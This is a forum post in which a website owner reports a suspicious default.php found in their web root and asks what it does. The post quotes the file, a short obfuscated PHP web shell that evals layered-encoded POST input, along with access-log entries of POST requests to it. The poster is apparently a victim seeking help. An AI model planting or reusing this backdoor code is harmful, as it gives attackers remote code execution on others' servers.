Compromised - Unknown Files

In my root web directory a new files popped up recently called default.php:

<?php if($_GET["rnd"]){die($_GET["rnd"]);}elseif($_POST["e"]){eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST["e"]))))));exit;} ?>

Appears to be a compromise. Does anyone have a similar file in their root directory?

I have a few access attempts to that file:
http://www.tensosys.biz - - [03/Jan/2012:11:34:08 -0500] "POST /default.php HTTP/1.0" 200 0 "" "-"
http://www.tensosys.biz - - [03/Jan/2012:11:36:26 -0500] "POST /default.php HTTP/1.0" 200 0 "" "-"
kwan.lunarpages.com - - [03/Jan/2012:12:07:56 -0500] "POST /default.php HTTP/1.0" 200 0 "" "-"
kwan.lunarpages.com - - [03/Jan/2012:12:12:27 -0500] "POST /default.php HTTP/1.0" 200 0 "" "-"

Any ideas what the file is attempting to accomplish?